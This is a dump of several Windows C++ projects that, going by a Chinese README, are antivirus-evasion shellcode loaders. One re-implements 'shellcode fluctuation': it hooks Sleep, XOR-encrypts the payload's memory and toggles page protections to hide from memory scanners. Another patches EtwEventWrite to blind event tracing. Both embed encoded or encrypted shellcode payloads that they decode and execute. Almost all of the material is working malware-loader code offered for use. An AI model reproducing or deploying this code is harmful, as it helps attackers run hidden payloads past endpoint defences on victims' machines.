((bytes_to_encode[pos + 1] & 0xf0) >> 4)]); if (pos + 2 < in_len) { ret.push_back(base64_chars_[((bytes_to_encode[pos + 1] & 0x0f) << 2) + ((bytes_to_encode[pos + 2] & 0xc0) >> 6)]); ret.push_back(base64_chars_[bytes_to_encode[pos + 2] & 0x3f]); } else { ret.push_back(base64_chars_[(bytes_to_encode[pos + 1] & 0x0f) << 2]); ret.push_back(trailing_char); } } else { ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0x03) << 4]); ret.push_back(trailing_char); ret.push_back(trailing_char); } pos += 3; } return ret; } template static std::string decode(String encoded_string, bool remove_linebreaks) { // // decode(? is templated so that it can be used with String = const std::string& // or std::string_view (requires at least C++17) // if (encoded_string.empty()) return std::string(); if (remove_linebreaks) { std::string copy(encoded_string); copy.erase(std::remove(copy.begin(), copy.end(), '\n'), copy.end()); return base64_decode(copy, false); } size_t length_of_string = encoded_string.length(); size_t pos = 0; // // The approximate length (bytes) of the decoded string might be one or // two bytes smaller, depending on the amount of trailing equal signs // in the encoded string. This approximation is needed to reserve // enough space in the string to be returned. // size_t approx_length_of_decoded_string = length_of_string / 4 * 3; std::string ret; ret.reserve(approx_length_of_decoded_string); while (pos < length_of_string) { // // Iterate over encoded input string in chunks. The size of all // chunks except the last one is 4 bytes. // // The last chunk might be padded with equal signs or dots // in order to make it 4 bytes in size as well, but this // is not required as per RFC 2045. // // All chunks except the last one produce three output bytes. // // The last chunk produces at least one and up to three bytes. // size_t pos_of_char_1 = pos_of_char(encoded_string[pos + 1]); // // Emit the first output byte that is produced in each chunk: // ret.push_back(static_cast(((pos_of_char(encoded_string[pos + 0])) << 2) + ((pos_of_char_1 & 0x30) >> 4))); if ((pos + 2 < length_of_string) && // Check for data that is not padded with equal signs (which is allowed by RFC 2045) encoded_string[pos + 2] != '=' && encoded_string[pos + 2] != '.' // accept URL-safe base 64 strings, too, so check for '.' also. ) { // // Emit a chunk's second byte (which might not be produced in the last chunk). // unsigned int pos_of_char_2 = pos_of_char(encoded_string[pos + 2]); ret.push_back(static_cast(((pos_of_char_1 & 0x0f) << 4) + ((pos_of_char_2 & 0x3c) >> 2))); if ((pos + 3 < length_of_string) && encoded_string[pos + 3] != '=' && encoded_string[pos + 3] != '.' ) { // // Emit a chunk's third byte (which might not be produced in the last chunk). // ret.push_back(static_cast(((pos_of_char_2 & 0x03) << 6) + pos_of_char(encoded_string[pos + 3]))); } } pos += 4; } return ret; } std::string base64_decode(std::string const& s, bool remove_linebreaks) { return decode(s, remove_linebreaks); } std::string base64_encode(std::string const& s, bool url) { return encode(s, url); } std::string base64_encode_pem(std::string const& s) { return encode_pem(s); } std::string base64_encode_mime(std::string const& s) { return encode_mime(s); } #if __cplusplus >= 201703L // // Interface with std::string_view rather than const std::string& // Requires C++17 // Provided by Yannic Bonenberger (https://github.com/Yannic) // std::string base64_encode(std::string_view s, bool url) { return encode(s, url); } std::string base64_encode_pem(std::string_view s) { return encode_pem(s); } std::string base64_encode_mime(std::string_view s) { return encode_mime(s); } std::string base64_decode(std::string_view s, bool remove_linebreaks) { return decode(s, remove_linebreaks); } #endif // __cplusplus >= 201703L ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/base64.h ================================================ #pragma once // // base64 encoding and decoding with C++. // Version: 2.rc.08 (release candidate) // const int XOR_KEY{ 8 }; #ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #include #if __cplusplus >= 201703L #include #endif // __cplusplus >= 201703L std::string base64_encode(std::string const& s, bool url = false); std::string base64_encode_pem(std::string const& s); std::string base64_encode_mime(std::string const& s); std::string base64_decode(std::string const& s, bool remove_linebreaks = false); std::string base64_encode(unsigned char const*, size_t len, bool url = false); #if __cplusplus >= 201703L // // Interface with std::string_view rather than const std::string& // Requires C++17 // Provided by Yannic Bonenberger (https://github.com/Yannic) // std::string base64_encode(std::string_view s, bool url = false); std::string base64_encode_pem(std::string_view s); std::string base64_encode_mime(std::string_view s); std::string base64_decode(std::string_view s, bool remove_linebreaks = false); #endif // __cplusplus >= 201703L #endif /* BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A */ ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/header.h ================================================ #pragma once #include #include #include #include #include typedef void (WINAPI* typeSleep)( DWORD dwMilis ); typedef DWORD(NTAPI* typeNtFlushInstructionCache)( HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush ); typedef std::unique_ptr::type, decltype(&::CloseHandle)> HandlePtr; enum TypeOfFluctuation { NoFluctuation = 0, FluctuateToRW, FluctuateToNA, // ORCA666's delight: https://github.com/ORCA666/0x41 }; struct FluctuationMetadata { LPVOID shellcodeAddr; SIZE_T shellcodeSize; bool currentlyEncrypted; DWORD encodeKey; DWORD protect; }; struct HookedSleep { typeSleep origSleep; BYTE sleepStub[16]; }; struct HookTrampolineBuffers { // (Input) Buffer containing bytes that should be restored while unhooking. BYTE* originalBytes; DWORD originalBytesSize; // (Output) Buffer that will receive bytes present prior to trampoline installation/restoring. BYTE* previousBytes; DWORD previousBytesSize; }; template void log(Args... args) { std::stringstream oss; (oss << ... << args); std::cout << oss.str() << std::endl; } static const DWORD Shellcode_Memory_Protection = PAGE_EXECUTE_READ; bool hookSleep(); bool injectShellcode(std::vector& shellcode, HandlePtr& thread); bool readShellcode(const char* path, std::vector& shellcode); std::vector collectMemoryMap(HANDLE hProcess, DWORD Type = MEM_PRIVATE | MEM_MAPPED); void initializeShellcodeFluctuation(const LPVOID caller); bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL); void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey); bool isShellcodeThread(LPVOID address); void shellcodeEncryptDecrypt(LPVOID callerAddress); void relocateShellcode(const LPVOID caller, LPVOID addressOfRetAddr); void WINAPI MySleep(DWORD _dwMilliseconds); ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/main.cpp ================================================ #include "header.h" #include #include #include "base64.h" HookedSleep g_hookedSleep; FluctuationMetadata g_fluctuationData; TypeOfFluctuation g_fluctuate; void WINAPI MySleep(DWORD dwMilliseconds) { const LPVOID caller = (LPVOID)_ReturnAddress(); // // Dynamically determine where the shellcode resides. // Of course that we could reuse information collected in `injectShellcode()` // right after VirtualAlloc, however the below invocation is a step towards // making the implementation self-aware and independent of the loader. // initializeShellcodeFluctuation(caller); // // Encrypt (XOR32) shellcode's memory allocation and flip its memory pages to RW // shellcodeEncryptDecrypt(caller); log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n"); HookTrampolineBuffers buffers = { 0 }; buffers.originalBytes = g_hookedSleep.sleepStub; buffers.originalBytesSize = sizeof(g_hookedSleep.sleepStub); // // Unhook kernel32!Sleep to evade hooked Sleep IOC. // We leverage the fact that the return address left on the stack will make the thread // get back to our handler anyway. // fastTrampoline(false, (BYTE*)::Sleep, (void*)&MySleep, &buffers); // Perform sleep emulating originally hooked functionality. ::Sleep(dwMilliseconds); if (g_fluctuate == FluctuateToRW) { // // Decrypt (XOR32) shellcode's memory allocation and flip its memory pages back to RX // shellcodeEncryptDecrypt((LPVOID)caller); } else { // // If we fluctuate to PAGE_NOACCESS there is no need to decrypt and revert back memory protections just yet. // We await for Access Violation exception to occur, catch it and from within the exception handler will adjust // its protection to resume execution. // } // // Re-hook kernel32!Sleep // fastTrampoline(true, (BYTE*)::Sleep, (void*)&MySleep); } std::vector collectMemoryMap(HANDLE hProcess, DWORD Type) { std::vector out; const size_t MaxSize = (sizeof(ULONG_PTR) == 4) ? ((1ULL << 31) - 1) : ((1ULL << 63) - 1); uint8_t* address = 0; while (reinterpret_cast(address) < MaxSize) { MEMORY_BASIC_INFORMATION mbi = { 0 }; if (!VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi))) { break; } if ((mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE_READ || mbi.Protect == PAGE_READWRITE) && ((mbi.Type & Type) != 0)) { out.push_back(mbi); } address += mbi.RegionSize; } return out; } void initializeShellcodeFluctuation(const LPVOID caller) { if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr == nullptr && isShellcodeThread(caller)) { auto memoryMap = collectMemoryMap(GetCurrentProcess()); // // Iterate over memory pages to find allocation containing the caller, being // presumably our Shellcode's thread. // for (const auto& mbi : memoryMap) { if (reinterpret_cast(caller) > reinterpret_cast(mbi.BaseAddress) && reinterpret_cast(caller) < (reinterpret_cast(mbi.BaseAddress) + mbi.RegionSize)) { // // Store memory boundary of our shellcode somewhere globally. // g_fluctuationData.shellcodeAddr = mbi.BaseAddress; g_fluctuationData.shellcodeSize = mbi.RegionSize; g_fluctuationData.currentlyEncrypted = false; std::random_device dev; std::mt19937 rng(dev()); std::uniform_int_distribution dist4GB(0, 0xffffffff); // // Use random 32bit key for XORing. // g_fluctuationData.encodeKey = dist4GB(rng); log("[+] Fluctuation initialized."); log(" Shellcode resides at 0x", std::hex, std::setw(8), std::setfill('0'), mbi.BaseAddress, " and occupies ", std::dec, mbi.RegionSize, " bytes. XOR32 key: 0x", std::hex, std::setw(8), std::setfill('0'), g_fluctuationData.encodeKey, "\n"); return; } } log("[!] Could not initialize shellcode fluctuation!"); ::ExitProcess(0); } } void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey) { uint32_t* buf32 = reinterpret_cast(buf); auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4; for (size_t i = 0; i < bufSizeRounded; i++) { buf32[i] ^= xorKey; } for (size_t i = 4 * bufSizeRounded; i < bufSize; i++) { buf[i] ^= static_cast(xorKey & 0xff); } } bool isShellcodeThread(LPVOID address) { MEMORY_BASIC_INFORMATION mbi = { 0 }; if (VirtualQuery(address, &mbi, sizeof(mbi))) { // // To verify whether address belongs to the shellcode's allocation, we can simply // query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc. // if (mbi.Type == MEM_PRIVATE) { const DWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS; return ((mbi.Protect & PAGE_EXECUTE_READ) || (mbi.Protect & PAGE_EXECUTE_READWRITE) || (mbi.Protect & expectedProtection)); } } return false; } bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers) { #ifdef _WIN64 uint8_t trampoline[] = { 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr 0x41, 0xFF, 0xE2 // jmp r10 }; uint64_t addr = (uint64_t)(jumpAddress); memcpy(&trampoline[2], &addr, sizeof(addr)); #else uint8_t trampoline[] = { 0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, addr 0xFF, 0xE0 // jmp eax }; uint32_t addr = (uint32_t)(jumpAddress); memcpy(&trampoline[1], &addr, sizeof(addr)); #endif DWORD dwSize = sizeof(trampoline); DWORD oldProt = 0; bool output = false; if (installHook) { if (buffers != NULL) { if (buffers->previousBytes == nullptr || buffers->previousBytesSize == 0) return false; memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize); } if (::VirtualProtect( addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &oldProt )) { memcpy(addressToHook, trampoline, dwSize); output = true; } } else { if (buffers == NULL) return false; if (buffers->originalBytes == nullptr || buffers->originalBytesSize == 0) return false; dwSize = buffers->originalBytesSize; if (::VirtualProtect( addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &oldProt )) { memcpy(addressToHook, buffers->originalBytes, dwSize); output = true; } } static typeNtFlushInstructionCache pNtFlushInstructionCache = NULL; if (!pNtFlushInstructionCache) { pNtFlushInstructionCache = (typeNtFlushInstructionCache)GetProcAddress(GetModuleHandleA("ntdll"), "NtFlushInstructionCache"); } pNtFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize); ::VirtualProtect( addressToHook, dwSize, oldProt, &oldProt ); return output; } bool hookSleep() { HookTrampolineBuffers buffers = { 0 }; buffers.previousBytes = g_hookedSleep.sleepStub; buffers.previousBytesSize = sizeof(g_hookedSleep.sleepStub); g_hookedSleep.origSleep = reinterpret_cast(::Sleep); if (!fastTrampoline(true, (BYTE*)::Sleep, (void*)&MySleep, &buffers)) return false; return true; } void shellcodeEncryptDecrypt(LPVOID callerAddress) { if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0) { if (!isShellcodeThread(callerAddress)) return; DWORD oldProt = 0; if (!g_fluctuationData.currentlyEncrypted || (g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA)) { ::VirtualProtect( g_fluctuationData.shellcodeAddr, g_fluctuationData.shellcodeSize, PAGE_READWRITE, &g_fluctuationData.protect ); log("[>] Flipped to RW."); } log((g_fluctuationData.currentlyEncrypted) ? "[<] Decoding..." : "[>] Encoding..."); xor32( reinterpret_cast(g_fluctuationData.shellcodeAddr), g_fluctuationData.shellcodeSize, g_fluctuationData.encodeKey ); if (!g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA) { // // Here we're utilising ORCA666's idea to mark the shellcode as PAGE_NOACCESS instead of PAGE_READWRITE // and our previously set up vectored exception handler should catch invalid memory access, flip back memory // protections and resume the execution. // // Be sure to check out ORCA666's original implementation here: // https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285 // ::VirtualProtect( g_fluctuationData.shellcodeAddr, g_fluctuationData.shellcodeSize, PAGE_NOACCESS, &oldProt ); log("[>] Flipped to No Access.\n"); } else if (g_fluctuationData.currentlyEncrypted) { ::VirtualProtect( g_fluctuationData.shellcodeAddr, g_fluctuationData.shellcodeSize, g_fluctuationData.protect, &oldProt ); log("[<] Flipped back to RX/RWX.\n"); } g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted; } } LONG NTAPI VEHHandler(PEXCEPTION_POINTERS pExceptInfo) { if (pExceptInfo->ExceptionRecord->ExceptionCode == 0xc0000005) { #ifdef _WIN64 ULONG_PTR caller = pExceptInfo->ContextRecord->Rip; #else ULONG_PTR caller = pExceptInfo->ContextRecord->Eip; #endif log("[.] Access Violation occured at 0x", std::hex, std::setw(8), std::setfill('0'), caller); // // Check if the exception's instruction pointer (EIP/RIP) points back to our shellcode allocation. // If it does, it means our shellcode attempted to run but was unable to due to the PAGE_NOACCESS. // if ((caller >= (ULONG_PTR)g_fluctuationData.shellcodeAddr) && (caller <= ((ULONG_PTR)g_fluctuationData.shellcodeAddr + g_fluctuationData.shellcodeSize))) { log("[+] Shellcode wants to Run. Restoring to RX and Decrypting\n"); // // We'll now decrypt (XOR32) shellcode's memory allocation and flip its memory pages back to RX. // shellcodeEncryptDecrypt((LPVOID)caller); // // Tell the system everything's OK and we can carry on. // return EXCEPTION_CONTINUE_EXECUTION; } } log("[.] Unhandled exception occured. Not the one due to PAGE_NOACCESS :("); // // Oops, something else just happened and that wasn't due to our PAGE_NOACCESS trick. // return EXCEPTION_CONTINUE_SEARCH; } bool readShellcode(const char* path, std::vector& shellcode) { HandlePtr file(CreateFileA( path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL ), &::CloseHandle); if (INVALID_HANDLE_VALUE == file.get()) return false; DWORD highSize; DWORD readBytes = 0; DWORD lowSize = GetFileSize(file.get(), &highSize); shellcode.resize(lowSize, 0); return ReadFile(file.get(), shellcode.data(), lowSize, &readBytes, NULL); } void runShellcode(LPVOID param) { auto func = ((void(*)())param); // // Jumping to shellcode. Look at the coment in injectShellcode() describing why we opted to jump // into shellcode in a classical manner instead of fancy hooking // ntdll!RtlUserThreadStart+0x21 like in ThreadStackSpoofer example. // func(); } bool injectShellcode(std::vector& shellcode, HandlePtr &thread) { // // Firstly we allocate RW page to avoid RWX-based IOC detections // auto alloc = ::VirtualAlloc( NULL, shellcode.size() + 1, MEM_COMMIT, PAGE_READWRITE ); if (!alloc) return false; memcpy(alloc, shellcode.data(), shellcode.size()); DWORD old; // // Then we change that protection to RX // if (!VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old)) return false; /* * We're not setting these pointers to let the hooked sleep handler figure them out itself. * g_fluctuationData.shellcodeAddr = alloc; g_fluctuationData.shellcodeSize = shellcode.size(); g_fluctuationData.protect = Shellcode_Memory_Protection; */ shellcode.clear(); // // Example provided in https://github.com/mgeeky/ThreadStackSpoofer showed how we can start // our shellcode from temporarily hooked ntdll!RtlUserThreadStart+0x21 . // // That approached was a bit flawed due to the fact, the as soon as we introduce a hook within module, // even when we immediately unhook it the system allocates a page of memory (4096 bytes) of type MEM_PRIVATE // inside of a shared library allocation that comprises of MEM_IMAGE/MEM_MAPPED pool. // // Memory scanners such as Moneta are sensitive to scanning memory mapped PE DLLs and finding amount of memory // labeled as MEM_PRIVATE within their region, considering this (correctly!) as a "Modified Code" anomaly. // // We're unable to evade this detection for kernel32!Sleep however we can when it comes to ntdll. Instead of // running our shellcode from a legitimate user thread callback, we can simply run a thread pointing to our // method and we'll instead jump to the shellcode from that method. // thread.reset(::CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)runShellcode, alloc, 0, 0 )); return (NULL != thread.get()); } std::string replace(const std::string& inStr, const char* pSrc, const char* pReplace) { std::string str = inStr; std::string::size_type stStart = 0; std::string::iterator iter = str.begin(); while (iter != str.end()) { std::string::size_type st = str.find(pSrc, stStart); if (st == str.npos) { break; } iter = iter + st - stStart; str.replace(iter, iter + strlen(pSrc), pReplace); iter = iter + strlen(pReplace); stStart = st + strlen(pReplace); } return str; } int main(int argc, char** argv) { std::string rest2_reference = "9ECL7PjgwAgICElZSVhaWV5AOdptQINaaECDWhBAg1ooQIN6WEAHv0JCRTnBQDnIpDRpdAokKEnJwQVJCcnq5VpJWUCDWiiDSjRACdhuiXAQAwp9eoOIgAgICECNyHxvQAnYWINAEEyDSChBCdjrXkD3wUmDPIBACd5FOcFAOcikScnBBUkJyTDofflEC0QsAE0x2X3QUEyDSCxBCdhuSYMEQEyDSBRBCdhJgwyAQAnYSVBJUFZRUklQSVFJUkCL5ChJWvfoUElRUkCDGuFH9/f3VWIIQbZ/YWZhZm18CEleQYHuRIH5SbJEfy4P991AOcFAOdpFOchFOcFJWElYSbIyXnGv993je1JAgclJsFgICAhFOcFJWUlZYgtJWUmyX4GXzvfd41FTQIHJQDnaQYHQRTnBWmAICkiMWlpJsuNdJjP33UCBzkCLy1hiAldAgflAgdJBz8j39/f3RTnBWlpJsiUOEHP33Y3IB42VCQgIQPfHB4yECQgI49vh7AkICOCq9/f3J0V8UEwIQShDvCCeEfnGqz4QOUCZb1k9zZRfrP2kaoTlwQZQ+aY4tgZwQlaNp0lYfmGOcGoGYzblJRLD9V4TH2y6c1s4iOAMlePMttdpgghde216JUlvbWZ8MihFZ3JhZGRpJzwmOCgga2dleGl8YWpkbTMoRVtBTSg/JjgzKF9hZmxnf3soRlwoPSY5IQUCCM1l6QoDmhAeJZoutN1CPkoMbBYRT4p4JodhVtQQ/QXiL7U61RfcwKRjFq95GITSknVDXEYydGh4NjiMRT6a43pevMz6zCoiQMDcYy/1jHjhWWvhVp/6TPSIiL5RP8LaSwpz++6FswyGtYnKUJ+da0rRw4YW4GE1isJ9yBukKGBzCetRpZrAZtf8AZPUpuLRg9gLYdXFeifw5yhKxN4jy6BQV14m/VHXb2WO3XrQXc7c0CxfgIM1rYMHGVMH6y9uyurrF7uMzIg+sptJ4pFTYuzDslBKxx4+qcw2ikCPTsks2vAe8rGqLYAwlP4+eRcISbb4vape991AOcGyCAhICEmwCBgICEmxSAgICEmyUKxb7ffdQJtbW0CB70CB+UCB0kmwCCgICEGB8UmyGp6B6vfdQIvMKI3IfL5ugw9ACcuNyH3fUFBQQA0ICAgIWMvgl/X39zkxOiY5PjAmOCY5OzkIWQG3ZQ@@"; std::string rest3_reference = replace(rest2_reference, "@@", "=="); std::string rest2_decoded = base64_decode(rest3_reference); const char* S = rest2_decoded.c_str(); std::vector shellcode; for (int j = 0; j < rest2_decoded.length(); j++) { shellcode.push_back(S[j]^XOR_KEY); } //LoadLibraryA("C:\\Users\\Admin\\Desktop\\RefleXXion-DLL.dll"); try { // Don't you play tricks with values outside of this enum, I'm feeling like catching all your edge cases... g_fluctuate = (TypeOfFluctuation)1; } catch (...) { log("[!] Invalid mode provided"); return 1; } if (g_fluctuate != NoFluctuation) { log("[.] Hooking kernel32!Sleep..."); if (!hookSleep()) { log("[!] Could not hook kernel32!Sleep!"); return 1; } } else { log("[.] Shellcode will not fluctuate its memory pages protection."); } if (g_fluctuate == NoFluctuation) { log("[.] Entering infinite loop (not injecting the shellcode) for memory IOCs examination."); log("[.] PID = ", std::dec, GetCurrentProcessId()); while (true) {} } else if (g_fluctuate == FluctuateToNA) { log("\n[.] Initializing VEH Handler to intercept invalid memory accesses due to PAGE_NOACCESS."); log(" This is a re-implementation of ORCA666's work presented in his https://github.com/ORCA666/0x41 project.\n"); AddVectoredExceptionHandler(1, &VEHHandler); } log("[.] Injecting shellcode..."); HandlePtr thread(NULL, &::CloseHandle); if (!injectShellcode(shellcode, thread)) { log("[!] Could not inject shellcode! Error: ", ::GetLastError()); return 1; } log("[+] Shellcode is now running. PID = ", std::dec, GetCurrentProcessId()); WaitForSingleObject(thread.get(), INFINITE); } ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/x64/Debug/Shellcod.9eed9e19.tlog/ShellcodeFluctuation.lastbuildstate ================================================ PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.32.31326:TargetPlatformVersion=10.0.19041.0: Debug|x64|E:\ShellcodeFluctuation-master\| ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/x64/Debug/ShellcodeFluctuation.exe.recipe ================================================  E:\ShellcodeFluctuation-master\x64\Debug\ShellcodeFluctuation.exe ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/x64/Debug/ShellcodeFluctuation.log ================================================  base64.cpp main.cpp 正在生成代码... ShellcodeFluctuation.vcxproj -> E:\ShellcodeFluctuation-master\x64\Debug\ShellcodeFluctuation.exe ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/x64/Release/Shellcod.9eed9e19.tlog/ShellcodeFluctuation.lastbuildstate ================================================ PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.32.31326:TargetPlatformVersion=10.0.19041.0: Release|x64|E:\ShellcodeFluctuation-master\| ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/x64/Release/ShellcodeFluctuation.exe.recipe ================================================  E:\ShellcodeFluctuation-master\x64\Release\ShellcodeFluctuation.exe ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/x64/Release/ShellcodeFluctuation.log ================================================  main.cpp 正在生成代码 已完成代码的生成 3 of 350 functions ( 0.9%) were compiled, the rest were copied from previous compilation. 0 functions were new in current compilation 0 functions had inline decision re-evaluated but remain unchanged ShellcodeFluctuation.vcxproj -> E:\ShellcodeFluctuation-master\x64\Release\ShellcodeFluctuation.exe ================================================ FILE: chapter4-demo4/ShellcodeFluctuation.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.31105.61 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeFluctuation", "ShellcodeFluctuation\ShellcodeFluctuation.vcxproj", "{9EED9E19-9475-4D2E-9B06-37D6799417FE}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x64.ActiveCfg = Debug|x64 {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x64.Build.0 = Debug|x64 {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x86.ActiveCfg = Debug|Win32 {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x86.Build.0 = Debug|Win32 {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x64.ActiveCfg = Release|x64 {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x64.Build.0 = Release|x64 {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x86.ActiveCfg = Release|Win32 {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {C5AF3E09-A902-42DF-9A8C-D63A66F8F25B} EndGlobalSection EndGlobal ================================================ FILE: demo1/README.md ================================================ 使用disableETW,shellcode加密,隐藏导入表的免杀方式对shellcode进行免杀。 ================================================ FILE: demo1/shellcode_execute/shellcode_execute/shellcode_execute/resource.h ================================================ //{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // Used by shellcode_execute.rc // ¶һĬֵ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 101 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif ================================================ FILE: demo1/shellcode_execute/shellcode_execute/shellcode_execute/shellcode_execute.cpp ================================================ // shellcode_execute.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include #include typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); tNtVirtual oNtVirtual; void disableETW(void) { // return 0 unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 }; // xor rax, rax; ret ULONG oldprotect = 0; size_t size = sizeof(patch); HANDLE hCurrentProc = GetCurrentProcess(); unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 }; void* pEventWrite = GetProcAddress(GetModuleHandle("ntdll.dll"), (LPCSTR)sEtwEventWrite); if ((DWORD)GetModuleHandle("ntdll.dll") == NULL) { std::cout << "error"; } else { printf("NTDLL.DLL START ADDRESS: %08x", (DWORD)GetModuleHandle("ntdll.dll")); } if ((DWORD)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtProtectVirtualMemory") == NULL) { std::cout << "error"; } else { printf("\nNtProtectVirtualMemory ADDRESS: %08x", (DWORD)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtProtectVirtualMemory")); } FARPROC farProc = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtProtectVirtualMemory"); oNtVirtual = (tNtVirtual)farProc; oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect); //memcpy(pEventWrite, patch, size / sizeof(patch[0])); memcpy(pEventWrite, patch, 4); oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect); FlushInstructionCache(hCurrentProc, pEventWrite, size); } int main() { disableETW(); // Encrypted shellcode and cipher key obtained from shellcode_encoder.py char encryptedShellcode[] = "\x9d\x2c\xee\x8d\x9e\xd9\xfa\x33\x61\x64\x2c\x38\x2f\x61\x60\x62\x37\x2c\x5c\xbb\x0b\x79\xb9\x61\x01\x2c\xe6\x3b\x76\x79\xb9\x61\x41\x2c\xe6\x1b\x3e\x79\x3d\x84\x2b\x2e\x20\x58\xa7\x79\x03\xf3\xcd\x58\x0c\x15\x6c\x1d\x12\x72\xa0\xad\x60\x28\x6f\xf0\xd0\xde\x33\x25\x3c\x21\xe5\x63\x12\xb8\x23\x58\x25\x68\xbe\x57\xb3\x4b\x79\x6f\x6f\x1c\x1c\xba\xb2\xbb\x61\x64\x6d\x21\xeb\xf1\x46\x54\x29\x65\xbd\x39\xe5\x79\x2a\x77\xea\x24\x4d\x20\x6f\xe1\xd1\x65\x29\x9b\xa4\x28\xe5\x05\xba\x7b\x60\xb2\x20\x58\xa7\x79\x03\xf3\xcd\x25\xac\xa0\x63\x70\x33\xf2\x59\x84\x18\x98\x22\x32\x7e\x17\x69\x21\x54\xb8\x1b\xe9\x6a\x77\xea\x24\x49\x20\x6f\xe1\x54\x72\xea\x68\x25\x2d\xe5\x71\x2e\x7a\x60\xb4\x2c\xe2\x6a\xb9\x7a\x32\xb1\x25\x35\x28\x36\x6f\x6b\x69\x20\x3c\x2c\x30\x2f\x6b\x7a\xb0\x8d\x44\x2c\x3b\x91\xd1\x6a\x72\x38\x3e\x25\xe2\x7c\xd8\x7d\xcc\x9e\x9b\x30\x03\x6e\x78\x8c\x44\x08\x0a\x04\x07\x0b\x45\x32\x72\x37\x2d\xe4\x8f\x22\xb8\xc3\x72\xdb\x28\x1a\x4f\x69\xce\xe7\x7b\x50\xad\x25\x58\xbc\x7c\x03\xf3\x2c\x55\xa4\x28\x3e\x70\x62\x72\xdb\x5e\x3b\x10\xc9\xce\xe7\xd8\x12\x3e\x25\xe0\xaf\x70\x8a\x63\x61\x64\x6d\x24\x5f\xf8\x73\x62\x20\x35\x07\x6a\x2f\x60\x73\x89\x36\xed\xf2\xaf\x91\xe4\xd9\x6a\x3a\x2c\xe4\xa8\x26\x00\xe0\x7a\xe8\xbc\x20\x58\xa7\x63\x5a\x33\x63\x24\xe9\x3b\x3c\x70\x88\xd8\x34\x4a\x56\x96\xbb\x79\xbb\xf5\x29\xe7\xae\x39\x04\x3b\x6